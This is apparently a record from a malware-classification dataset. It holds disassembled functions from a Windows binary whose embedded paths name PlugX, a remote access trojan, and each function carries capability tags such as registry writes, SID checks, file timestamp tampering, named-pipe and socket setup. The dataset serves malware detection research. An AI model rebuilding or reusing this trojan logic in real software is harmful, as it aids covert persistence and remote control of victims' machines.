joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001b5b0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
push 0x2002
mov dword [ebp - 4], edi
call fcn.10027bda
mov esi, eax
add esp, 4
test esi, esi
jne 0x1001b5f9
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
mov edi, 8
mov edx, 0x134
push edi
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 8
jmp 0x1001b65c
push 0x1000
push esi
push ebx
mov word [esi + 0x2000], 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x1001b630
push eax
mov edx, 0x139
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1001b65c
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
mov ecx, edi
add ebx, ebx
push ebx
call fcn.100064b0
mov edi, eax
test edi, edi
je 0x1001b669
push edi
mov edx, 0x13e
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
test esi, esi
jne 0x1001b694
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 4]
cmp ebx, dword [edi]
jle 0x1001b684
push 0
mov edx, 0x4d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
mov ecx, dword [edi + 4]
mov edx, esi
push ebx
call fcn.1002427e
add esp, 4
xor edi, edi
push 1
push esi
call fcn.10027bcc
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001b810
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x10], ecx
lea eax, [ebp - 8]
mov word [ebp - 0x18], 0x500
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push 0x220
push 0x20
xor ebx, ebx
lea eax, [ebp - 0x1c]
push 2
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x1001b85d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x1001b941
lea eax, [ebp - 4]
push eax
push 0x20008
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1001b884
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x1001b941
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1001b8b1
call esi
cmp eax, 0x7a
je 0x1001b8b1
call esi
mov ebx, eax
jmp 0x1001b941
mov eax, dword [ebp - 0xc]
lea ecx, [eax + 0x10]
add eax, 0x12
push eax
mov dword [ebp - 0x14], ecx
call fcn.10027bda
mov edi, eax
add esp, 4
test edi, edi
jne 0x1001b8f1
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
push edi
mov edx, 0x1ac
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 8
xor ecx, ecx
jmp 0x1001b8fa
mov eax, dword [ebp - 0x14]
mov ecx, eax
mov word [edi + eax], bx
lea eax, [ebp - 0xc]
push eax
push ecx
push edi
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x1001b915
call esi
mov ebx, eax
jmp 0x1001b941
mov eax, dword [ebp - 0x10]
xor esi, esi
mov dword [eax], ebx
cmp dword [edi], ebx
jle 0x1001b941
push dword [edi + esi*8 + 4]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x1001b938
inc esi
cmp esi, dword [edi]
jl 0x1001b920
jmp 0x1001b941
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
mov eax, dword [ebp - 8]
test eax, eax
je 0x1001b94f
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 4]
test eax, eax
je 0x1001b95d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1001b96c
push 1
push edi
call fcn.10027bcc
add esp, 8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001ba20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x1003107c], 0
push esi
push edi
mov esi, edx
mov dword [ebp - 4], 0
mov edi, ecx
jne 0x1001ba5c
push str.IsWow64Process
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1003107c], eax
test eax, eax
je 0x1001ba78
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x1003107c]
test eax, eax
jne 0x1001ba78
xor ecx, ecx
mov dword [ebp - 4], ecx
jmp 0x1001ba7b
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
test ecx, ecx
push eax
mov edx, 0x101
mov eax, 1
cmovne eax, edx
push eax
push 0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1001bb05
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x1001bae3
test eax, eax
je 0x1001badb
push 0
mov edx, 0x23f
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
test eax, eax
je 0x1001bafb
push 0
mov edx, 0x247
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
mov ecx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
mov dword [ecx], eax
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001bb10
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x1003107c], 0
push esi
push edi
mov esi, edx
mov dword [ebp - 4], 0
mov edi, ecx
jne 0x1001bb4c
push str.IsWow64Process
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1003107c], eax
test eax, eax
je 0x1001bb68
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x1003107c]
test eax, eax
jne 0x1001bb68
xor ecx, ecx
mov dword [ebp - 4], ecx
jmp 0x1001bb6b
mov ecx, dword [ebp - 4]
push 0
lea eax, [ebp - 8]
test ecx, ecx
push eax
push 0
mov edx, 0x102
mov eax, 2
cmovne eax, edx
push eax
push 0
push 0
push 0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1001bbf4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x1001bbda
test eax, eax
je 0x1001bbd2
push 0
mov edx, 0x265
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
test eax, eax
je 0x1001bbf2
push 0
mov edx, 0x26d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1001bc90
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, ecx
lea ecx, [ebp - 0x18]
push 0x1000
mov dword [ebp - 8], esi
call fcn.10006420
mov eax, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x1001bccd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1001bd0e
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
mov ecx, esi
add ebx, ebx
push ebx
call fcn.100064b0
mov esi, eax
test esi, esi
jne 0x1001bd0e
mov esi, dword [ebp - 8]
cmp ebx, dword [esi]
jle 0x1001bcfe
push eax
lea edx, [eax + 0x4d]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
mov ecx, dword [esi + 4]
mov edx, edi
push ebx
call fcn.1002427e
add esp, 4
xor esi, esi
test edi, edi
je 0x1001bd1d
push 1
push edi
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001c120
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
lea ecx, [ebp - 0x2c]
push 0x2000
mov dword [ebp - 8], edx
call fcn.10006420
mov eax, dword [0x1002d3e8]
test eax, eax
jne 0x1001c16f
mov eax, dword [0x1002d3e4]
test eax, eax
jne 0x1001c15e
push str.psapi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1002d3e4], eax
push str.EnumProcesses
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1002d3e8], eax
mov ebx, dword [ebp - 0x28]
lea ecx, [ebp - 4]
push ecx
push dword [ebp - 0x2c]
push ebx
call eax
test eax, eax
jne 0x1001c18d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1001c22f
xor edi, edi
test dword [ebp - 4], 0xfffffffc
jbe 0x1001c22a
nop dword [eax]
mov ecx, dword [ebx + edi*4]
lea ebx, [ebx + edi*4]
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0
call fcn.1001bf00
test eax, eax
jne 0x1001c1f1
mov esi, dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0x10028c1c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1001c24a
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1001c218
push 1
push eax
call fcn.10027bcc
mov dword [ebp - 0x14], 0
add esp, 8
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 4]
inc edi
mov ebx, dword [ebp - 0x28]
shr eax, 2
cmp edi, eax
jl 0x1001c1a0
mov esi, 0x490
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x1001c241
push 1
push eax
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebx]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1001c263
push 1
push eax
call fcn.10027bcc
add esp, 8
xor esi, esi
jmp 0x1001c22f
Function at 0x1001c750
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 0x10]
push 0x1000
call fcn.10006420
push dword [ebp - 0x10]
mov edi, dword [ebp - 0xc]
push edi
push str.NTDLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x1001c79b
push eax
mov edx, 0x4a5
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
lea eax, [ebp - 0x260]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
jne 0x1001c7b5
mov edx, 0x4ae
jmp 0x1001c818
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
test eax, eax
jne 0x1001c7d3
push eax
mov edx, 0x4b3
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x1001c7f3
push eax
mov edx, 0x4b8
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
push 0
push 0x2000000
push 3
push 0
push 1
push 0x100
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1001c831
mov edx, 0x4bf
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1001c8a4
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x25c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x1001c864
push eax
mov edx, 0x4c4
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1001c882
push eax
mov edx, 0x4c9
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x1001c8a2
push eax
mov edx, 0x4ce
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
xor esi, esi
test edi, edi
je 0x1001c8b3
push 1
push edi
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001ed50
Capabilities:
Connect pipe
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov edi, ecx
xor esi, esi
cmp dword [edi + 0x50], 0xffffffff
je 0x1001ed73
push esi
lea edx, [esi + 0x3d]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoPipe.cpp
call fcn.10024152
add esp, 4
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
push 1
push 0
call ebx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], esi
test eax, eax
jne 0x1001eda2
push eax
lea edx, [eax + 0x47]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoPipe.cpp
call fcn.10024152
add esp, 4
push 0
push 0
push 0x1000
push 0x1000
push 0xff
push 0
push 0x40000003
push dword [ebp + 8]
mov dword [edi + 0x54], 1
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov dword [edi + 0x50], eax
cmp eax, 0xffffffff
jne 0x1001ee09
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
je 0x1001ee2a
push dword [edi + 0x50]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
test eax, eax
jne 0x1001ee00
push eax
lea edx, [eax + 0x79]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoPipe.cpp
call fcn.10024152
add esp, 4
mov dword [edi + 0x50], 0xffffffff
jmp 0x1001ee30
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x1001ee2a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x217
jne 0x1001ee57
xor esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call ebx
pop ebx
test eax, eax
jne 0x1001ee4d
push eax
mov edx, 0x82
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoPipe.cpp
call fcn.10024152
add esp, 4
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
cmp esi, 0x3e5
jne 0x1001eddc
mov esi, dword [0x1002d3c8]
test esi, esi
jne 0x1001eec4
push 0x18
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x1001eebc
push 0
push 0
push 1
push 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
call ebx
mov dword [esi], eax
test eax, eax
jne 0x1001eebe
push eax
lea edx, [eax + 8]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
jmp 0x1001eebe
xor esi, esi
mov dword [0x1002d3c8], esi
mov eax, dword [esi]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
push 0x3e8
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push 0
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
sub eax, 0
je 0x1001ef1f
sub eax, 1
je 0x1001ee28
sub eax, 0x101
je 0x1001ef15
push 0
mov edx, 0x68
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoPipe.cpp
call fcn.10024152
add esp, 4
mov esi, 0x54f
jmp 0x1001ede0
mov esi, 0x5b4
jmp 0x1001ede0
mov esi, 0x4c7
jmp 0x1001ede0
Function at 0x10021880
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 8]
push ebx
push esi
push edi
push 0
push eax
push 0
push 0x20019
push 0
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x100218be
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
lea eax, [ebp + 0x10]
mov dword [ebp + 0xc], 0x200
push eax
lea eax, [ebp - 0x40c]
mov dword [ebp + 0x10], 0x200
push eax
xor ebx, ebx
lea eax, [ebp + 0xc]
push ebx
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x1002199c
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x1002a938
call edi
add eax, eax
mov ecx, esi
push eax
push 0x1002a938
call fcn.100066e0
test eax, eax
je 0x1002192f
push 0
mov edx, 0x417
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
lea eax, [ebp - 0x20c]
push eax
call edi
add eax, eax
mov ecx, esi
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.100066e0
test eax, eax
je 0x10021961
push 0
mov edx, 0x41c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
lea eax, [ebp + 0x10]
mov dword [ebp + 0xc], 0x200
push eax
lea eax, [ebp - 0x40c]
mov dword [ebp + 0x10], 0x200
push eax
push 0
push 0
lea eax, [ebp + 0xc]
inc ebx
push eax
lea eax, [ebp - 0x20c]
push eax
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
je 0x10021901
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x100219bd
push 0
mov edx, 0x423
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10021b70
Capabilities:
Create thread
Get system information on windows
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
push ebx
push esi
push edi
mov edi, dword [0x10031114]
test edi, edi
jne 0x10021bd1
push 0xa0
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
je 0x10021bc9
lea eax, [edi + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [edi], 0
mov dword [edi + 0x78], 0
mov dword [edi + 0x80], 0x10024859
mov dword [edi + 0x84], 0x100248eb
jmp 0x10021bcb
xor edi, edi
mov dword [0x10031114], edi
lea esi, [edi + 0x88]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x10030f68]
inc eax
mov dword [0x10030f68], eax
cmp eax, 1
jg 0x10021cf4
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x18]
inc eax
mov dword [edi + 0x7c], eax
cmp eax, 4
jge 0x10021c11
mov dword [edi + 0x7c], 4
jmp 0x10021c1d
cmp eax, 0x10
jle 0x10021c1d
mov dword [edi + 0x7c], 0x10
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x78], eax
test eax, eax
jne 0x10021c3d
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10021cc3
push dword [edi + 0x7c]
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [edi], eax
test eax, eax
jne 0x10021c5a
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10021cc3
xor ebx, ebx
cmp dword [edi + 0x7c], ebx
jle 0x10021ca7
lea eax, [edi + 0x38]
mov ecx, 0x1002466e
mov dword [ebp - 4], eax
nop dword [eax]
lea eax, [ebp - 8]
test ebx, ebx
push eax
push 0
push 0
mov eax, 0x10024753
cmove eax, ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
test eax, eax
je 0x10021c32
add ecx, 4
inc ebx
mov dword [ebp - 4], ecx
mov ecx, 0x1002466e
cmp ebx, dword [edi + 0x7c]
jl 0x10021c70
lea eax, [ebp - 0x1c0]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10021cf4
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
push ecx
mov ecx, edi
call fcn.1002450d
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test ebx, ebx
je 0x10021d0e
push ebx
mov edx, 0x1d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoUdp.cpp
call fcn.10024152
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0xfc00
mov dword [ebp - 0x1c0], 0xb2c0b2c
push esi
mov word [ebp - 0x3a], ax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10023c80
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 0x1c
mov ebx, ecx
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
jne 0x10023ca3
lea eax, [edi + 8]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push esi
lea eax, [ebp - 4]
push eax
push 4
push edi
push 0x10023fd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [ebp + 8]
mov dword [esi], eax
test eax, eax
jne 0x10023ce1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x1c
push edi
mov esi, eax
call fcn.10027bcc
add esp, 8
mov eax, esi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov dword [edi + 0xc], ebx
mov eax, dword [ebp - 4]
mov dword [edi + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x18], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x10], eax
mov eax, dword [ebp + 0x14]
push ebx
mov dword [edi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [ebx + 0x18]
mov dword [edi], ecx
mov eax, dword [ecx + 4]
mov dword [edi + 4], eax
mov eax, dword [ecx + 4]
push ebx
mov dword [eax], edi
mov dword [ecx + 4], edi
inc dword [ecx + 8]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x10023d3d
push eax
lea edx, [eax + 0x33]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXThreadManager.cpp
call fcn.10024152
add esp, 4
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10